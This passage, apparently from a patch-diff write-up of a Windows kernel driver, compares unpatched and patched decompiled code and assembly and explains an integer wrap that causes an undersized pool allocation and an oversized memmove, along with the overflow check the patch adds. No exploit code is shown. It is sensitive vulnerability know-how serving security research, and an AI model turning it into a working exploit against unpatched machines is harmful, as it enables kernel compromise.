&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;total_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg6_contrib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5_contrib&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// can wrap&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// *** only checks for *exact* zero wrap ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;use_existing_buffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// (different buggy path)&lt;/span&gt;

&lt;span class="c1"&gt;// Allocation uses the (possibly wrapped) small size:&lt;/span&gt;
&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;total_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;EtvA&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// tiny alloc!&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__m128&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__m128&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 16-byte write&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__m128&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__m128&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 16-byte write&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c0008d80&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg7_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// *** copies arg8 (~4GB) bytes ***&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============== PATCHED (via EapSignalContentPrepareEventForPublishing (sub_140008b90)) ==============&lt;/span&gt;
&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;var_data_size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// lea eax,[rdi+r8]&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;base_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// cmp eax,edi ; jb overflow&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INTEGER_OVERFLOW&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000095  *** ADDED CHECK ***&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg4_provided_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// cmp dword [r9],edi ; jae ok&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// proceed with memset + structured copy&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg4_needed_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// output required size&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_BUFFER_TOO_SMALL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000023&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;WnfEventCallback (sub_1C00018C8)&lt;/code&gt; — WNF parsing path&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============== UNPATCHED ==============&lt;/span&gt;
&lt;span class="c1"&gt;// Inline parsing of packed bitfields from WNF buffer.&lt;/span&gt;
&lt;span class="c1"&gt;// Extracts count (bits 2-13), type flag (bit 0), state flag (bit 1).&lt;/span&gt;
&lt;span class="c1"&gt;// Bounds checks ARE present inline:&lt;/span&gt;
&lt;span class="c1"&gt;//   - size &amp;gt;= 8            (cmp r9d,8; jnb  at 0x1c00019b9)&lt;/span&gt;
&lt;span class="c1"&gt;//   - size &amp;gt;= count + 8    (cmp r9,rcx; jnb at 0x1c0001a41)&lt;/span&gt;
&lt;span class="c1"&gt;// then calls EaiProcessNotification (sub_1c0001bc4) directly.&lt;/span&gt;

&lt;span class="c1"&gt;// ============== PATCHED ==============&lt;/span&gt;
&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EapSignalMessageReadFromBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_140008a98&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;wnf_buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// same parsing + same checks, extracted&lt;/span&gt;
&lt;span class="c1"&gt;//   - size &amp;gt;= 8            (cmp edx,8;  jnb at 0x140008aab)&lt;/span&gt;
&lt;span class="c1"&gt;//   - size &amp;gt;= count + 8    (cmp rax,rcx; jnb at 0x140008ada)&lt;/span&gt;
&lt;span class="c1"&gt;// then calls EaiProcessNotification (sub_1c0001bc4) directly (unchanged path).&lt;/span&gt;
&lt;span class="c1"&gt;// Refactor only: no bounds check added or removed.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; — full unpatched vulnerable path&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; -------- Prologue / arg setup --------&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034b0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034b2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034b3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034b4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034b5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034b7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034b9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034bb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034bd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp-0x7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034c2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc8&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034c9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c000e040&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; __security_cookie&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034d0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034d3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x11&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034d7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x6f&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; arg5 (128-bit event data ptr)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034db&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034dd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x77&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; arg6 (128-bit event data ptr)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034e1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; arg1 (aggregation context)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034e4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8f&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; arg9 (output ptr)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034eb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034ed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x69&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; save arg5&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034f1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034f4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c000e000&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x4&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; ETW level check&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034fb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; arg2 (event ID pair)&lt;/span&gt;
